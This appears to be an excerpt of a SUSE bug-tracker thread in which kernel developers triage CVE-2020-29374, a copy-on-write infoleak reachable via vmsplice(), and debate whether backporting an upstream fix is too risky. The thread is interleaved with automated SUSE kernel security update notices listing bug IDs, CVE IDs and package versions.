SUSE Linux Enterprise High Performance Computing 15-ESPOS (src):    kernel-default-4.12.14-150.69.1, kernel-docs-4.12.14-150.69.1, kernel-obs-build-4.12.14-150.69.1, kernel-source-4.12.14-150.69.1, kernel-syms-4.12.14-150.69.1, kernel-vanilla-4.12.14-150.69.1
SUSE Linux Enterprise High Availability 15 (src):    kernel-default-4.12.14-150.69.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

(In reply to Alexandros Toptsoglou from comment #14)
> closing
> 
> *** This bug has been marked as a duplicate of bug 1179660 ***

Erm no, this is not a duplicate. Bug 1179660 is the THP race, which is CVE-2020-29368.

This bug is about CVE-2020-29374 which has a wrong description about "unintended write access", while it's actually a potential infoleak that requres a malicious child. Adjusting name accordingly.

After digging into the history of upstream fixes I believe it's extremely risky to backport any them. We should document the "child is effectively trusted" argument. At most we could do a fix that targets just the GUP used by vmsplice() and results in COW break, thus a very limited part of the first upstream fix by commit 17839856fd588f4ab6b789f482ed3ffd7c403e1f

(In reply to Vlastimil Babka from comment #22)
> (In reply to Alexandros Toptsoglou from comment #14)
> > closing
> > 
> > *** This bug has been marked as a duplicate of bug 1179660 ***
> 
> Erm no, this is not a duplicate. Bug 1179660 is the THP race, which is
> CVE-2020-29368.
> 
> This bug is about CVE-2020-29374 which has a wrong description about
> "unintended write access", while it's actually a potential infoleak that
> requres a malicious child. Adjusting name accordingly.
> 
> After digging into the history of upstream fixes I believe it's extremely
> risky to backport any them. We should document the "child is effectively
> trusted" argument. At most we could do a fix that targets just the GUP used
> by vmsplice() and results in COW break, thus a very limited part of the
> first upstream fix by commit 17839856fd588f4ab6b789f482ed3ffd7c403e1f

Thanks for correcting this

The debate has been resumed upstream https://lore.kernel.org/linux-mm/20210401181741.168763-1-surenb@google.com/ in the context of stable LTS kernels. The main options considered are leaving it alone, or taking just first attempt at fix - commit 17839856fd58. As Linus pointed out, the issue with userfaultfd-wp this commit caused is not relevant to kernels before 5.7 that don't have userfaultfd-wp. But the other issue with dax and strace was not resolved. And there might still be more that the limited timeframe of commit 17839856fd58 upstream didn't uncover. On the other hand the commit was backported to 5.4 LTS already in June without reported issues.

SUSE-SU-2021:1175-1: An update that solves 24 vulnerabilities and has 51 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1103990,1103991,1103992,1104270,1104353,1109837,1111981,1112374,1113994,1118657,1118661,1119113,1126390,1129770,1132477,1142635,1152446,1154048,1169709,1172455,1173485,1175165,1176720,1176855,1178163,1179243,1179428,1179454,1179660,1179755,1180846,1181507,1181515,1181544,1181655,1181674,1181747,1181753,1181843,1182011,1182175,1182485,1182574,1182715,1182716,1182717,1183018,1183022,1183023,1183378,1183379,1183380,1183381,1183382,1183416,1183509,1183593,1183646,1183662,1183686,1183692,1183696,1183775,1183861,1183871,1184114,1184167,1184168,1184170,1184192,1184193,1184196,1184198
CVE References: CVE-2020-0433,CVE-2020-27170,CVE-2020-27171,CVE-2020-27815,CVE-2020-29368,CVE-2020-29374,CVE-2020-35519,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932,CVE-2021-27363,CVE-2021-27364,CVE-2021-27365,CVE-2021-28038,CVE-2021-28660,CVE-2021-28688,CVE-2021-28964,CVE-2021-28971,CVE-2021-28972,CVE-2021-29264,CVE-2021-29265,CVE-2021-29647,CVE-2021-3428,CVE-2021-3444
JIRA References: 
Sources used:
SUSE Linux Enterprise Server 12-SP5 (src):    kernel-azure-4.12.14-16.50.1, kernel-source-azure-4.12.14-16.50.1, kernel-syms-azure-4.12.14-16.50.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:1176-1: An update that solves 25 vulnerabilities and has 49 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1103990,1103991,1103992,1104270,1104353,1109837,1111981,1112374,1113994,1118657,1118661,1119113,1126390,1129770,1132477,1142635,1152446,1154048,1169709,1172455,1173485,1175165,1176720,1176855,1177411,1178163,1179243,1179428,1179454,1179660,1179755,1180846,1181515,1181544,1181655,1181674,1181747,1181753,1181843,1182011,1182175,1182485,1182574,1182715,1182716,1182717,1183018,1183022,1183023,1183378,1183379,1183380,1183381,1183382,1183416,1183509,1183593,1183646,1183686,1183692,1183696,1183775,1183861,1183871,1184114,1184167,1184168,1184170,1184192,1184193,1184196,1184198
CVE References: CVE-2020-0433,CVE-2020-27170,CVE-2020-27171,CVE-2020-27673,CVE-2020-27815,CVE-2020-29368,CVE-2020-29374,CVE-2020-35519,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932,CVE-2021-27363,CVE-2021-27364,CVE-2021-27365,CVE-2021-28038,CVE-2021-28660,CVE-2021-28688,CVE-2021-28964,CVE-2021-28971,CVE-2021-28972,CVE-2021-29264,CVE-2021-29265,CVE-2021-29647,CVE-2021-3428,CVE-2021-3444
JIRA References: 
Sources used:
SUSE Linux Enterprise Real Time Extension 12-SP5 (src):    kernel-rt-4.12.14-10.37.1, kernel-rt_debug-4.12.14-10.37.1, kernel-source-rt-4.12.14-10.37.1, kernel-syms-rt-4.12.14-10.37.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

SUSE-SU-2021:1210-1: An update that solves 33 vulnerabilities and has 53 fixes is now available.

Category: security (important)
Bug References: 1065600,1065729,1103990,1103991,1103992,1104270,1104353,1109837,1111981,1112374,1113295,1113994,1118657,1118661,1119113,1126390,1129770,1132477,1142635,1152446,1154048,1169709,1172455,1173485,1175165,1176720,1176855,1178163,1178181,1179243,1179428,1179454,1179660,1179755,1180846,1181507,1181515,1181544,1181655,1181674,1181747,1181753,1181843,1182011,1182175,1182485,1182574,1182715,1182716,1182717,1183018,1183022,1183023,1183378,1183379,1183380,1183381,1183382,1183405,1183416,1183509,1183593,1183646,1183662,1183686,1183692,1183696,1183755,1183775,1183861,1183871,1184114,1184120,1184167,1184168,1184170,1184192,1184193,1184196,1184198,1184391,1184393,1184397,1184494,1184511,1184583
CVE References: CVE-2020-0433,CVE-2020-25670,CVE-2020-25671,CVE-2020-25672,CVE-2020-25673,CVE-2020-27170,CVE-2020-27171,CVE-2020-27815,CVE-2020-29368,CVE-2020-29374,CVE-2020-35519,CVE-2020-36311,CVE-2021-20219,CVE-2021-26930,CVE-2021-26931,CVE-2021-26932,CVE-2021-27363,CVE-2021-27364,CVE-2021-27365,CVE-2021-28038,CVE-2021-28660,CVE-2021-28688,CVE-2021-28964,CVE-2021-28971,CVE-2021-28972,CVE-2021-29154,CVE-2021-29264,CVE-2021-29265,CVE-2021-29647,CVE-2021-30002,CVE-2021-3428,CVE-2021-3444,CVE-2021-3483
JIRA References: 
Sources used:
SUSE Linux Enterprise Workstation Extension 12-SP5 (src):    kernel-default-4.12.14-122.66.2
SUSE Linux Enterprise Software Development Kit 12-SP5 (src):    kernel-docs-4.12.14-122.66.2, kernel-obs-build-4.12.14-122.66.2
SUSE Linux Enterprise Server 12-SP5 (src):    kernel-default-4.12.14-122.66.2, kernel-source-4.12.14-122.66.2, kernel-syms-4.12.14-122.66.2
SUSE Linux Enterprise Live Patching 12-SP5 (src):    kernel-default-4.12.14-122.66.2, kgraft-patch-SLE12-SP5_Update_17-1-8.3.2
SUSE Linux Enterprise High Availability 12-SP5 (src):    kernel-default-4.12.14-122.66.2

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Let's push back to the security team.  If there is still something really to fix, please reassign back to kernel devs.  Thanks.